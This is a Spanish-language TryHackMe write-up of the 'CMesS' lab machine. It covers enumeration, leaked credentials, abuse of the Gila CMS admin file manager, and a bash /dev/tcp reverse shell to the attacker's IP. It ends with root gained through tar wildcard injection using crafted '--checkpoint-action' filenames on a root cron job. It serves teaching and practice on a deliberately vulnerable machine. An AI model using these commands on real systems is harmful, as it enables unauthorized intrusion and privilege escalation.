Writeup THM - Maquina CMesS
CMesS
Resumen
Nmap Scan
# Nmap 7.92 scan initiated Fri Feb 11 17:50:39 2022 as: nmap -sC -sV -p22,80 -oN targeted -Pn -vvv 10.10.215.235
Nmap scan report for cmess.thm (10.10.215.235)
Host is up, received user-set (0.18s latency).
Scanned at 2022-02-11 17:50:40 -05 for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvfxduhH7oHBPaAYuN66Mf6eL6AJVYqiFAh6Z0gBpD08k+pzxZDtbA3cdniBw3+DHe/uKizsF0vcAqoy8jHEXOOdsOmJEqYXjLJSayzjnPwFcuaVaKOjrlmWIKv6zwurudO9kJjylYksl0F/mRT6ou1+UtE2K7lDDiy4H3CkBZALJvA0q1CNc53sokAUsf5eEh8/t8oL+QWyVhtcbIcRcqUDZ68UcsTd7K7Q1+GbxNa3wftE0xKZ+63nZCVz7AFEfYF++glFsHj5VH2vF+dJMTkV0jB9hpouKPGYmxJK3DjHbHk5jN9KERahvqQhVTYSy2noh9CBuCYv7fE2DsuDIF
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGOVQ0bHJHx9Dpyf9yscggpEywarn6ZXqgKs1UidXeQqyC765WpF63FHmeFP10e8Vd3HTdT3d/T8Nk3Ojt8mbds=
| 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFUGmaB6zNbqDfDaG52mR3Ku2wYe1jZX/x57d94nxxkC
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-generator: Gila CMS
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 11 17:50:53 2022 -- 1 IP address (1 host up) scanned in 13.54 seconds
Pagina web - Port 80
antes de empezar la room nos dice que debemos hacer esto:
echo "10.10.215.235 cmess.thm" >> /etc/hosts
ahora si revisamos la pagina web y vemos usa un cms llamado Gila CMS
si revisamos robots.txt encontramos los siguientes directorios por el momento no revisare esto
User-agent: *
Disallow: /src/
Disallow: /themes/
Disallow: /lib/
tambien busco los subdominios con wfuz y zencontramos el subdominio dev
❯ wfuzz -u http://10.10.215.235/ -H "Host: FUZZ.cmess.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 290
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.215.235/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 30 L 104 W 934 Ch "dev"
000009532: 400 12 L 53 W 422 Ch "#www"
000010581: 400 12 L 53 W 422 Ch "#mail"
este subdominio tambien agregamos al /etc/hosts
echo "10.10.215.235 dev.cmess.thm" >> /etc/hosts
si entramos a revisar dicho subdominio encontramos unos logs donde el usuario andre@cmess.thm pide a support@cmess.thm resetear su password dando como respuesta que su password es ahora KPFTN_f2yxe%
http://dev.cmess.thm/
por lo tanto encontramos tenemos estas credenciales
andre@cmess.thm:KPFTN_f2yxe%
al escanear directorios encontramos el directorio admin
cmess # ❯ ffuf -c -w /usr/share/wordlists/dirb/common.txt -u http://10.10.24.30/FUZZ -e .php,.html,.js,.txt,.zip,.bak,.save -fl 10,103
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.24.30/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Extensions : .php .html .js .txt .zip .bak .save
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response lines: 10,103
________________________________________________
[Status: 200, Size: 3871, Words: 522, Lines: 108]
0 [Status: 200, Size: 3857, Words: 522, Lines: 108]
about [Status: 200, Size: 3357, Words: 372, Lines: 93]
About [Status: 200, Size: 3343, Words: 372, Lines: 93]
admin [Status: 200, Size: 1582, Words: 377, Lines: 42]
api [Status: 200, Size: 0, Words: 1, Lines: 1]
author [Status: 200, Size: 3596, Words: 419, Lines: 102]
blog [Status: 200, Size: 3857, Words: 522, Lines: 108]
category [Status: 200, Size: 3868, Words: 522, Lines: 110]
feed [Status: 200, Size: 735, Words: 37, Lines: 22]
fm [Status: 200, Size: 0, Words: 1, Lines: 1]
index [Status: 200, Size: 3857, Words: 522, Lines: 108]
Index [Status: 200, Size: 3857, Words: 522, Lines: 108]
login [Status: 200, Size: 1582, Words: 377, Lines: 42]
que contiene un login, usamos estas credenciales para acceder al panel de control de dicho cms
http://cmess.thm/admin/
encontramos la version de Gila CMS version 1.10.9 y buscamos un exploit relacionado a dicha version
cmess # ❯ searchsploit gila
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gila CMS 1.11.8 - 'query' SQL Injection | php/webapps/48590.py
Gila CMS 1.9.1 - Cross-Site Scripting | php/webapps/46557.txt
Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated) | php/webapps/49412.py
Gila CMS < 1.11.1 - Local File Inclusion | multiple/webapps/47407.txt
--------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
descargamos el exploit Gila CMS < 1.11.1 - Local File Inclusion
cmess # ❯ searchsploit -m 47407
Exploit: Gila CMS < 1.11.1 - Local File Inclusion
URL: https://www.exploit-db.com/exploits/47407
Path: /usr/share/exploitdb/exploits/multiple/webapps/47407.txt
File Type: ASCII text
Copied to: /mnt/Pentester/Certificaciones/OSCP/WorkFolder/Plataformas/thm/cmess/47407.txt
cmess # ❯ cat 47407.txt
# Exploit Title: Authenticated Local File Inclusion(LFI) in GilaCMS
# Google Dork: N/A
# Date: 04-08-2019
# Exploit Author: Sainadh Jamalpur
# Vendor Homepage: https://github.com/GilaCMS/gila
# Software Link: https://github.com/GilaCMS/gila
# Version: 1.10.9
# Tested on: XAMPP version 3.2.2 in Windows 10 64bit,
# CVE : CVE-2019-16679
*********** *Steps to reproduce the Vulnerability* *************
Login into the application as an admin user or equivalent user and go the
below link
http://localhost/gilacms/admin/fm/?f=src../../../../../../../../../WINDOWS/system32/drivers/etc/hosts
intente explotar dicha vulnerabilidad pero solo pude acceder a directorios que antes no estaba permitido
Sin embargo podemos irnos a la carpeta themes elegir gila-blog y modificar alguna archivo en mi caso elegire footer.php, la ruta seria la siguiente
http://cmess.thm/admin/fm?f=themes/gila-blog/footer.php
agregaremos codigo php para ver si podemos ejecutar comandos
revisamos y efectivamente podemos ejecutar comandos en la maquina victima
Reverse shell
para empezar dejaremos el puerto 443 en escucha con netcat
nuestro payload sera el siguiente
/bin/bash -i >& /dev/tcp/10.9.132.249/443 0>&1
pero lo mandaremos de esta manera
obteniendo una reverse shell exitosa, solo upgradear tty shell interactiva
dejaremos un servidor web en python
descargamos en la maquina victima, damos permisos y ejecutamos linpeas.sh
linpeas nos arroja que existe un archivo donde contiene el password de andres
www-data@cmess:/var/www/html$ cat /opt/.password.bak
andres backup password
UQfsdCB7aAP6
nos logueamos con el usuario andres con las credenciales encontradas
www-data@cmess:/var/www/html$ su andre
Password:
andre@cmess:/var/www/html$ whoami
andre
andre@cmess:/var/www/html$ id
uid=1000(andre) gid=1000(andre) groups=1000(andre)
andre@cmess:/var/www/html$
Escalacion de privilegios
ejecutamos linpeas y vemos que nos arroja que se esta ejecutando una tarea cada cierto tiempo y esto lo comprobamos de la siguiente manera
andre@cmess:/tmp$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
vemos que la tarea nos manda al directorio /home/andre/backup y comprime con tar todo lo que contiene dicho directorio. Por lo tanto lei este articulo que me servira para escalar privilegios
https://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/
asi lo hare de la siguiente manera
andre@cmess:~/backup$ echo 'chmod u+s /bin/bash' > test.sh
andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh test.sh"
andre@cmess:~/backup$ echo "" > --checkpoint=1
esperamos un rato y vemos si se ejecuto la tarea y le dio permisos de suid al binario bash
andre@cmess:~/backup$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16 2017 /bin/bash
y nos volvemos root de la siguiente manera
andre@cmess:~/backup$ /bin/bash -p
bash-4.3# id
uid=1000(andre) gid=1000(andre) euid=0(root) groups=1000(andre)
bash-4.3# whoami
root
bash-4.3#
gracias por leer este writeup, nos vemos AbelJM.